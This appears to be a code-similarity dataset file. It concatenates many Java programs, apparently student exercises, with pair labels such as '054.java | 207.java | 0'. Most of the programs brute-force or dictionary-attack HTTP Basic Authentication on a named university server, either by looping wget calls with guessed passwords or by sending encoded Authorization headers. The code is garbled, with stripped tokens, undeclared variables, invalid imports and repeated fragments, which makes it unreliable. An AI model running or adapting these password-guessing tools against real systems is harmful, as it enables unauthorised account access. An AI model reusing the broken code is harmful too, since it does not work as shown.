System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
010.java | 207.java | 0 |
import java.io.*;
import java.*;
import java.util.StringTokenizer;
public class Dictionary
{
public static void main(String args[])
{
final String DICT_FILE = "/usr/share/lib/dict/words";
String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";
String password;
String s = null;
int num_tries = 0;
try
{
BufferedReader dict_word = new BufferedReader
(new FileReader (DICT_FILE));
while((password = dict_word.readLine())!= null)
{
try
{
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
try
{
p.waitFor();
}
catch (InterruptedException g)
{
}
num_tries++;
if((p.exitValue()) == 0)
{
System.out.println("**********PASSWORD IS: " + password);
System.out.println("**********NUMBER OF TRIES: " + num_tries);
System.exit(1);
}
}
catch (IOException e)
{
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
System.out.println("DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD");
System.out.println("**********Sorry, password was not found in dictionary file");
System.exit(1);
}
catch (FileNotFoundException exception)
{
System.out.println(exception);
}
catch (IOException exception)
{
System.out.println(exception);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
054.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;
public class WatchDog
{
public static void main (String args[])
{
String url = "http://yallara.cs.rmit.edu./~";
String file1 = "test1.txt";
int flag = 0;
WriteFile write = new WriteFile(url, file1, flag);
new DoSleep().print();
}
}
class DoSleep extends Thread
{
public synchronized void run()
{
String url = "http://yallara.cs.rmit.edu./~";
String file2 = "test2.txt";
int flag = 1;
int status = 0;
String file1 = "test1.txt";
System.out.println("Checking.........");
try
{
sleep();
WriteFile write = new WriteFile(url, file2, flag);
status = write.getStatus();
if(status != 0)
{
int flag2 = 0;
WriteFile write2 = new WriteFile(url, file1, flag2);
}
new DoSleep().print();
}
catch (InterruptedException e) {}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
155.java | 207.java | 0 | import java.io.*;
import java.net.*;
public class Dictionary{
public static void main( String[] args ){
Dictionary dict= new Dictionary();
dict.create();
}
public void dsf(){
String password;
String auth_data;
String username="";
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
String fileName = "/usr/share/lib/dict/words";
fileName=fileName.trim();
FileReader fr = new FileReader(fileName);
BufferedReader inputfile = new BufferedReader(fr);
while( (password=inputfile.readLine()) != null ){
password = password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
if( server_res_code.compareTo(required_server_res_code)!=0)
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
else {
System.out.println(cntr + " . " + "PASSWORD IS: " + password + " SERVER RESPONSE : " + server_res_code);
break;}
}
}
catch( Exception e){
System.err.println(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
134.java | 207.java | 0 |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};
String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;
for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
for(int j=0;j<52;j++)
{
for(int k=0;k<52;k++)
{
temp[0]=chars[j];
temp[1]=chars[k];
pass = new String();
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
for(int i=0;i<52;i++)
for(int j=0;j<52;j++)
for(int k=0;k<52;k++)
{
temp1[0]=chars[i];
temp1[1]=chars[j];
temp1[2]=chars[k];
pass = new String(temp1);
count++;
System.out.println("The password tried is------->"+pass+"---and attempt is=="+count);
f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
pr = rt.exec(f);
instre = new InputStreamReader(pr.getErrorStream());
bufread = new BufferedReader(instre);
resp = bufread.readLine();
while( (resp = bufread.readLine())!= null)
{
if(resp.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
171.java | 207.java | 0 |
import java.io.*;
import java.net.*;
import java.*;
import java.util.*;
public class DictionaryAttack
{
public static void main ( String args[])
{
String function,pass,temp1;
int count =0;
try{
FileReader fr = new FileReader("words.txt");
BufferedReader bfread = new BufferedReader(fr);
Runtime rtime = Runtime.getRuntime();
Process prs = null;
while(( bf = bfread.readLine()) != null)
{
if( f.length() < 4 )
{
System.out.println(+ " The Attack Number =====>" + count++ );
pass = f;
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while( (temp1 = bread.readLine())!= null)
{
System.out.println(temp1);
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}
}
fr.print();
bfread.close();
}catch(Exception e){}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
